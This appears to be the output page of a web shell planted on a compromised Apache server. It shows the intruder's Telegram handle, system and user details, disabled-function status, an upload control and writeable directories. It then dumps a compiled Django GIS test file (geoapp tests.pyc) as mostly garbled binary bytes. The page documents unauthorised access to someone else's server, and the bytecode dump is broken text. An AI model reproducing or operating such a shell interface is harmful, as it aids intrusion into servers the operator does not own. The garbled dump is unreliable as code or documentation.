https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/gis/tests/geoapp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/gis/tests/geoapp/tests.pyc
�
r�\c@@s�ddlmZddlZddlmZddlmZddlmZddl	m
Z
mZmZm
Z
mZmZmZmZddlmZddlmZmZdd	lmZer!dd
lmZmZmZmZmZmZmZddl m!Z!m"Z"m#Z#m$Z$m%Z%nerGerGdd
l m&Z&m'Z'nd�Z(eeo\e
d�defd��Y�Z)eeo�e
d�defd��Y�Z*eeo�e
d�defd��Y�Z+dS(i(tabsolute_importN(t
connection(tgdal(tHAS_GEOS(tHAS_SPATIAL_DBtno_mysqlt	no_oraclet
no_spatialitetmysqltoracletpostgist
spatialite(tTestCase(tsixtunittest(t
skipUnless(tfromstrtGEOSGeometrytPointt
LineStringt
LinearRingtPolygontGeometryCollectioni(tCountrytCitytPennsylvaniaCitytStatetTrack(tFeaturetMinusOneSRIDcC@s3ttjdd�}|o2d|ko0dkSS(Ntspatial_versioniii(iii(iii(iii(tgetattrRtops(R((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pytpostgis_bug_versionss!Geos and spatial db are required.tGeoModelTestcB@sYeZd�Zd�Zed��Zd�Zed��Zed��Z	d�Z
RS(cC@sO|jdtjj��|jdtjj��|jdtjj��dS(s6Testing geographic model initialization from fixtures.iiN(tassertEqualRtobjectstcountRR(tself((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt
test_fixtures!scC@s�tdd�}tddd|�}|j�xNddtdd�gD]4}y
||_Wntk
rmqGX|jd�qGWtdd	�}||_|jd
|jj�|j�|j|tj	j
dd�j�d	|j_d|j_|j
td	d�tj	j
dd�j�|j�|jtd	d�tj	j
dd�j�|j�tddddd�}tddddd�}t||�}tddd|�}|jd
|jj�|j�tj	j
dd�}	|j||	j�tjr|jtt|	jjtj��|j|	jj|	jjj�|jtt|	jjtj��|jd|	jjj�ntd d!d"d#d$�}
|
|	jd<|
|d<|jd
|	jj�|	j�|j|tj	j
dd�j�|	j�dS(%s8Testing Lazy-Geometry support (using the GeometryProxy).itnametNullCitytpointig@isShould throw a TypeErrorii�idi(i<t	NullStatetpolysWGS 84iiFN(ii(ii(ii(iid(idid(idi(ii(i(i((i(i<(i<i<(i<i((i(i((ii(iiF(iFiF(iFi(ii(RRtsaveRR*t	TypeErrortfailR#tsridR$tgettxtytassertNotEqualtdeleteRRRR,RtHAS_GDALtTruet
isinstancetogrtOGRGeometrytwkbtsrstSpatialReferenceR((R&tpnttnullcitytbadtnewtshelltinnertplyt	nullstatetnst	new_inner((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt
test_proxy(sP


	
"+
+

	""


"c	C@sDd}t|dd�}tr-d}d}nd}d}t|d|�}tritjjd|�}ntjjd	|�}|jd
|j�tjjddd
|�}tjjdd�}|j	|j
|jj
d�|j	|j|jjd�t
s@tdtdddd��}|j�|jd|jj�ndS(s4Testing automatic transform for lookups and inserts.sPOINT (-98.493183 29.424170)R0i�s)POINT (300662.034646583 5416427.45974934)iŠs7POINT (1645978.362408288754523 6276356.025927528738976)itmpoly__containstmpoly__intersectstTexasR(sSan AntonioR*itgeomiii����N(RR	RR$R1R#R(RtcreatetassertAlmostEqualR2R*R3RRRR-RLR0(	R&tsa_4326twgs_pnttnad_wkttnad_sridtnad_pntttxtsatm1((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_lookup_insert_transformls(	
cC@s t�}|j|jd�dS(s=Testing creating a model instance and the geometry being NoneN(RR#R*tNone(R&tc((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_createnull�s	cC@s�tdddtdd��j�tdddtddd��j�tdddttddddd���j�tdd	dttd
d
�tdd�ttddddd����j�tjjdd�}|j	t
t|jt��|j	d|jj
�tjjdd�}|j	t
t|jt��|j	dd d!f|jj
�tjjdd�}|j	t
t|jt��tjjdd	�}|j	t
t|jt��|j	|j|jd
�dS("s"Testing the general GeometryField.R(RRLiRiiRRig�?gg@N(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(g�?g�?(gg(g�?g�?(g@g@(RRR-RRRRR$R1R#R7R8RLttuple(R&tf_1tf_2tf_3tf_4((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_geometryfield�s""%1(cC@sttjjdddddd�}tjjd�}|jd|j��x$|D]}|jd|jj�qPWd	S(
s6Test GeoQuerySet methods on inherited Geometry fields.R(t	MansfieldtcountytTiogaR*sPOINT(-77.071445 41.823881)i�}iN(RR$RMt	transformR#R%R*R0(R&t	mansfieldtqstpc((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_inherited_geofields�s
!
cC@s�tjj�}trdn	tjj}tjjd|d�}|jt	|�t	t
|���|jt|dj
t��dS(sTesting raw SQL query.s
ST_AsText(%s)s$select id, name, %s from geoapp_cityR*iN(RR$tallR
RR tselecttrawR#tlentlistt
assertTrueR8R*R(R&tcities1tas_texttcities2((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_raw_sql_query�s	"(t__name__t
__module__R'RHRRWRZRR`RhRr(((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyR"s		D-	
t
GeoLookupTestcB@s}eZed��Zd�Zeeed����Ze�rTe	j
e�Znd�Zed��Zed��Z
RS(cC@s�tjjdd�}tjjd|j�}|jd|j��tjjd|j�}|jd|j��|jd|dj�d	S(
s#Testing the `disjoint` lookup type.R(tPueblotpoint__disjointitpoly__disjointitKansasiN(	RR$R1tfilterR*R#R%RR((R&tptowntqs1tqs2((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_disjoint_lookup�sc
C@s,tjjdd�}ts�tjjd|j�}|jd|j��dddg}x*|D]}|jt	|j
|k�q_Wntjjdd�}tjjdd�}tjjdd	�}tjjdd�}tjjdd
�}	tjjd|j�}
tjjd|jj�}|jd|
j
�|jd|j
�t
s{tjjd
|	j�}|jd|j
�n|jdttjjd|j���|jtr�dp�dttjjd|jj���ts(tjjd|j�}|jdt|��|jd|dj
�ndS(sCTesting the 'contained', 'contains', and 'bbcontains' lookup types.R(RKtpoint__containeditHoustontDallass
Oklahoma Cityt
WellingtonRvtLawrenceRIsNew Zealandtpoly__containsRyiitmpoly__bbcontainsN(RR$R1R	RRztmpolyR#R%R7R(R*thexRRRlRtwkt(
R&ttexasRftcitiesRYthoustont
wellingtontpueblotokcitytlawrenceRTtnztks((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_contains_contained_lookups�s4
 ("cC@s�tjjdd�j}tjjdd�j}dddddd	g}tjjd
|�}|jdt|��x'|D]}|jt|j	|k�qzWdd	g}tjjd
|�}|jdt|��x'|D]}|jt|j	|k�q�Wtjjd
|�}|jd|j	�ddg}tjjd
|�}|jdt|��x'|D]}|jt|j	|k�qdWdS(s,Testing the 'left' and 'right' lookup types.R(tColoradoRyR�R�s
Oklahoma CityR�tChicagoR�tpoint__rightiitpoint__lefttVictoriaRvN(
RR$R1R,RRzR#RlR7R((R&t	co_bordert	ks_borderR�RfRYtvic((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_left_right_lookupss(
	


cC@s�tddd�}tjjd|�}tjjd|�}tjjd|�}x*|||gD]}|jd|j�qaWdS(	s0Testing the 'same_as' and 'equals' lookup types.sPOINT (-95.363151 29.763374)R0i�R*tpoint__same_ast
point__equalsR�N(RRR$R1R#R((R&R>tc1tc2tc3RY((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_equals_lookups7scC@sNtjjdd�tjjdt�}tjjdt�}|jdt|��|jd|dj�|jdt|��g|D]}|j^q�}|jtd|k�|jtd|k�tjjdd	d
d�}|j|j
d�d|_
|j�tjjdd	�jd
d�|jdtjj
dd	�j
�dS(
s<Testing NULL geometry support, and the `isnull` lookup type.R(sPuerto Ricotpoly__isnulliiiR�RysNorthern Mariana IslandsR,sPOLYGON((0 0,1 0,1 1,1 0,0 0))N(RR$RMRzR7tFalseR#RlR(RXR,R-tupdateR1(R&tnullqstvalidqstststate_namestnmi((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_null_geometries?s	
c
C@s�tddd�}tddd�}|jttjjdd�x]|d	ftf|d
d	ftfgD]4\}}tjjd|�}|j||j�qhWts�tr�d
}d}d}nt	r�d
}d}d}n|j
dtjjd||f�j�|j
dtjjd||f�j�t
jjdd�}	|j
dtjjd|	j|f�j�t	s�|j
dtjjd||f�j�|j
dtjjd||f�j�|j
dtjjd|	j|f�j�ndS(s!Testing the 'relate' lookup type.s&POINT (649287.0363174 4177429.4494686)R0is)POINT(-98.4919715741052 29.4333344025053)i�t
mpoly__relateitfoois	T*T***FF*s	T*F**F***s	T********tcontainstinsidetoverlapbdyintersectRKR(RyR�t
point__relateN(iR�(RtassertRaisest
ValueErrorRR$RzR%R
RR	R#R1R(RRR,(
R&tpnt1tpnt2tbad_argsteRft
contains_masktwithin_masktintersects_maskR�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_relate_lookup]s,4		((+(((RsRtRR~R�RRR�R!RtexpectedFailureR�R�R�(((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyRu�s	.'		tGeoQuerySetTestcB@sjeZed��Zed��Zeed���Zeeed����Zeeed����Z	d�Z
d�Zd�Zeeed����Z
ed	��Zeed
���Zed��Zeed���Zeed
���Zeeed����Zd�Zed��Zeed���Zeed���Zd�ZRS(cC@sytjjdt�j�}tr*d}ntr9d}nd}x3|D]+}|jt|jjj	|j|��qFWdS(s*Testing the `centroid` GeoQuerySet method.R�g�������?g���ư>g��&�.>N(
RR$texcludeR7tcentroidR	RR#R,tequals_exact(R&RfttolR�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt
test_centroid�s		
cC@stdd�}d}tjj�j|�j|�j|�}trZ|jdd�}n|j	|�}x�|D]�}t
rqp|j|jj|�|j�ts�|j|jj	|�|j	�n|j|jj|�|j�|j|jj|�|j�qpWdS(s\Testing the `difference`, `intersection`, `sym_difference`, and `union` GeoQuerySet methods.iiiR(RKN(
RRR$Rit
differencetsym_differencetunionRR�tintersectionR	R#R�(R&RLR�RfRY((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_diff_intersection_union�s*
"cC@s^d
}tjjdd�}|j�}x0t||�D]\}}|j||d�q7Wd	S(s(Testing the `extent` GeoQuerySet method.g�M3X�g�_l�=@g����=�W�g��d@@tname__inR�R�iN(g�M3X�g�_l�=@g����=�W�g��d@@(sHoustonsDallas(RR$RztextenttzipRN(R&texpectedRfR�tvaltexp((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_extent�s
cC@s�d	d
ddfd
dddff}ddddfddddff}tjjdddt|��tjj�jdd�}|j||jj�dS(s Testing GeoQuerySet.force_rhr().iiiiR(tFooR,N(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(RR$RMRt	force_rhrR1R#tcoords(R&tringst	rhr_ringsR�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_force_rhr�scC@s�tjjsdSd}tjj�jdd�}tjjdd�jdd�}|j||j�|j|d |j�dS(sTesting GeoQuerySet.geohash().Nt9vk1mfq8jx0c8e0386z6R(R�t	precisioni(RR tgeohashRR$R1R#(R&tref_hashth1th2((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_geohash�s!c
C@sjtjjs2|jttjj�jdd�dSd}d}d}d}trwtjj	dkrwd}d}d
}nt
r�d}n|jttjjdd�|j
|tjj�jdd�j�|j
|tjjdtdd�jdd�j�|j
|tjjdt�jdd�j�|j
|tjjdtdtdd�jdd�j�dS(sETesting GeoJSON output from the database using GeoQuerySet.geojson().t
field_nameR�Ns6{"type":"Point","coordinates":[-104.609252,38.255001]}sm{"type":"Point","crs":{"type":"name","properties":{"name":"EPSG:4326"}},"coordinates":[-95.363151,29.763374]}ss{"type":"Point","bbox":[-123.30519600,48.46261100,-123.30519600,48.46261100],"coordinates":[-123.305196,48.462611]}s�{"type":"Point","crs":{"type":"name","properties":{"name":"EPSG:4326"}},"bbox":[-87.65018,41.85039,-87.65018,41.85039],"coordinates":[-87.65018,41.85039]}iiis:{"type":"Point","coordinates":[-104.60925200,38.25500100]}sj{"type":"Point","crs":{"type":"EPSG","properties":{"EPSG":4326}},"coordinates":[-95.36315100,29.76337400]}sw{"type":"Point","bbox":[-123.30519600,48.46261100,-123.30519600,48.46261100],"coordinates":[-123.30519600,48.46261100]}sk{"type":"Point","bbox":[-123.305196,48.462611,-123.305196,48.462611],"coordinates":[-123.305196,48.462611]}R�R�R(Rvtcrst	model_atttjsonR�tbboxR�iR�(iii(RR tgeojsonR�tNotImplementedErrorRR$RiR
RRR.RR#R1R7R�(R&tpueblo_jsonthouston_jsont
victoria_jsontchicago_json((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_geojson�s$"		(4.c	C@s}tstr?tjjr?|jttjj	�jdd�dSt
jj	�}|jt|jdd�t
jjdddd�jdd�}t
jjdd�jdd�}t
r�tjd	�}n9tr�tjjdkr�tjd�}ntjd
�}x-||gD]}|j|j|j��q
Wtrytjjdkry|jdt
jjdd
�jdd�j�ndS(s=Testing GML output from the database using GeoQuerySet.gml().R�R�NR(R*R�i	Rvs�^<gml:Point srsName="SDO:4326" xmlns:gml="http://www.opengis.net/gml"><gml:coordinates decimal="\." cs="," ts=" ">-104.60925\d+,38.25500\d+ </gml:coordinates></gml:Point>iis�^<gml:Point SrsName="EPSG::4326"><gml:coordinates decimal="\." cs="," ts=" ">-104.609251\d+,38.255001</gml:coordinates></gml:Point>sh^<gml:Point srsName="EPSG:4326"><gml:coordinates>-104\.60925\d+,38\.255001</gml:coordinates></gml:Point>iis<gml:pos srsDimension="2">tversion(iii(iii(RRRR tgmlR�R�RR$RiRR.R1R	tretcompileRRntmatchR
tassertIn(R&Rftptown1tptown2t	gml_regexR{((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_gml	s""'!	cC@s�tptotjjs>|jttjj	�jdd�dSt
jj	�}|jt|jd�tjjd
kr~d}nd}t
jjdd	d
d�j
dd�}t
jjd
d�j
dd�}x'||gD]}|j||j�q�WdS(s=Testing KML output from the database using GeoQuerySet.kml().R�R,NR(iis?<Point><coordinates>-104.609252,38.255001</coordinates></Point>sA<Point><coordinates>-104.609252,38.255001,0</coordinates></Point>R*R�i	Rv(iii(R
RRR tkmlR�R�RR$RiRR.RR1R#(R&Rftref_kmlR�R�R{((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_kml's"	'!cC@s[|jttjj�|jttjj�tddd�}|j|tjj��dS(s+Testing the `make_line` GeoQuerySet method.s�LINESTRING(-95.363151 29.763374,-96.801611 32.782057,-97.521157 34.464642,174.783117 -41.315268,-104.609252 38.255001,-95.23506 38.971823,-87.650175 41.850385,-123.305196 48.462611)R0i�N(	R�R.RR$t	make_lineRRR#R(R&tref_line((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_make_lineAscC@s�x*tjj�D]}|jd|j�qWxatjjdt�j�D]D}trztj	j
dkrz|j|j�qI|jd|j�qIWdS(s*Testing the `num_geom` GeoQuerySet method.it
point__isnulliiN(iii(RR$tnum_geomR#RRzR�R
RR RtassertIsNone(R&RY((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt
test_num_geomNs"cC@smx0tjj�D]}|j|jj|j�qWtsix-tjj�D]}|jd|j�qIWndS(s,Testing the `num_points` GeoQuerySet method.iN(RR$t
num_pointsR#R�R	R(R&RY((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_num_points^s
cC@s�tr5itddd�d6tddd�d6}nMtsAtr�itjjdd�jjd6tjjdd�jjd6}nxRtjj�D]A}tr�d}nd	}|j	t
||jj|j|��q�Wd
S(s2Testing the `point_on_surface` GeoQuerySet method.sPOINT (174.616364 -36.100861)R0i�sNew ZealandsPOINT (-103.002434 36.500397)RKR(g�h㈵��>g��&�.>N(
R	RR
RRR$R1R�tpoint_on_surfaceR#R7R(R�(R&trefRYR�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_point_on_surfaceis"	cC@s�d	d
g}tjjdddt|��tjj�jdd�}|j�|jt|�|jj	�t
r�|jtt
jj�ndS(s#Testing GeoQuerySet.reverse_geom().g� ��=�W�g�|zl�=@g�����W�gd�˻�=@R(R�tlineN(g� ��=�W�g�|zl�=@(g�����W�gd�˻�=@(RR$RMRtreverse_geomR1treverseR#R[R�R	R�R.R(R&R�tt((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_reverse_geom�s
cC@s�d	\}}d}tjj||dd�}x�|D]�}x�t|j|j�D]�\}}x�t||�D]p\}}	xat|j|	j�D]J\}
}|j|
d||d|�|j|
d||d|�q�WqlWqPWq4WdS(
s'Testing the `scale` GeoQuerySet method.iiiR�tscalediiN(ii(RR$tscaleR�R�RR�RN(R&txfactyfacR�RfRYtp1tp2tr1tr2R�R�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt
test_scale�s
""cC@s�x<dtd�td�fD]}|jttjj|�qWxHddttt	j
td���fD]}|jttjj|�qgWd}tjjddd	t
|��}d
}t
d�}|j|jtjjd�jdd�j|��t
d
�}|j|jtjjdd�jdd�j|��t
d�}|j|jtjjdddd�jdd�j|��dS(s#Testing GeoQuerySet.snap_to_grid().iis1.0g�?is�MULTIPOLYGON(((12.41580 43.95795,12.45055 43.97972,12.45389 43.98167,12.46250 43.98472,12.47167 43.98694,12.49278 43.98917,12.50555 43.98861,12.51000 43.98694,12.51028 43.98277,12.51167 43.94333,12.51056 43.93916,12.49639 43.92333,12.49500 43.91472,12.48778 43.90583,12.47444 43.89722,12.46472 43.89555,12.45917 43.89611,12.41639 43.90472,12.41222 43.90610,12.40782 43.91366,12.40389 43.92667,12.40500 43.94833,12.40889 43.95499,12.41580 43.95795)))R(s
San MarinoR�g��&�.>s=MULTIPOLYGON(((12.4 44,12.5 44,12.5 43.9,12.4 43.9,12.4 44)))g�������?sJMULTIPOLYGON(((12.4 43.93,12.45 43.93,12.5 43.93,12.45 43.93,12.4 43.93)))g�������?gq=
ףp�?s_MULTIPOLYGON(((12.4 43.87,12.45 43.87,12.45 44.1,12.5 44.1,12.5 43.87,12.45 43.87,12.4 43.87)))g�?g�(\���?N((s1.0(g�?N(trangeR�R�RR$tsnap_to_gridRXR[tmapR
t	text_typeR.RMRRnR�R1(R&R�R�tsmR�R�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_snap_to_grid�s".!47cC@s�tstr&|jttjj�dS|jttjjdd�d}|jdd�}|j	|tjj�j
dd�j�|j	|tjjd	d
�j
dd�j�dS(s+Testing SVG output using GeoQuerySet.svg().NR�R�s cx="-104.609252" cy="-38.255001"RYtR(Rvtrelativei(RR	R�R�RR$tsvgR.treplaceR#R1(R&tsvg1tsvg2((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_svg�s(cC@sVtddd�}tddd�}d}ts�tjj|j�jdd�}|jd|jj�|j	|j
|jj
|�|j	|j|jj|�ntjj|jd	d
�jdd�}tjjd|j�jdd�}xb||gD]T}|jd|jj�|j	|j
|jj
|�|j	|j|jj|�q�WdS(
s+Testing the transform() GeoQuerySet method.s(POINT(1947516.83115183 6322297.06040572)R0is(POINT(992363.390841912 481455.395105533)i�
iR(R�R�R*RvN(RR	RR$RdR0R1R#R*RNR2R3(R&thtownR{tprecthR	R
tp((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_transform�s!'$cC@s�d\}}tjj||dd�}x�|D]�}x�t|j|j�D]�\}}x�t||�D]p\}}xat|j|j�D]J\}	}
|j|	d||
dd�|j|	d||
dd�q�WqfWqJWq.WdS(	s+Testing the `translate` GeoQuerySet method.ii��R�t
translatediiN(ii��(RR$t	translateR�R�R R�RN(R&RRRfRYR	R
RRR�R�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_translate�s
""c	C@s
tjjdd�j}td�}td�}tjjd|�}|jt|j	d�|j	dd�}|j
d�j	�}d}tr�|}n|}|jt
|j||��|jt
|j||��tjjdd�}|jd	|j	dd��d	S(
s<Testing the `unionagg` (aggregate union) GeoQuerySet method.R(RKs5MULTIPOINT(-96.801611 32.782057,-95.363151 29.763374)t
point__withinR�R*g�h㈵��>tNotACityN(RR$R1R�RRRzR�R.tunionaggtorder_byR	R#R7R�RX(	R&RTtunion1tunion2Rftu1tu2R�R�((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt
test_unionagg�s	cC@sPtjjd�d}|j}d|_zttjj��Wd||_XdS(Ntidi(Rt_metatget_field_by_nametcolumnRXRmR$Ri(R&tpkfieldtorig_pkfield_col((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyttest_non_concrete_fields		(RsRtRR�R�RR�RR�R�R�R�R�R�R�R�R�RR
RRRR"R+R2(((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyR��sD


	'		

%	(,t
__future__RR�t	django.dbRtdjango.contrib.gisRtdjango.contrib.gis.geosRtdjango.contrib.gis.tests.utilsRRRRRR	R
Rtdjango.testRtdjango.utilsR
Rtdjango.utils.unittestRRRRRRRRtmodelsRRRRRRRR!R"RuR�(((sG/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/geoapp/tests.pyt<module>s(:4+
	��

https://t.me/AnonymousX5 - 2025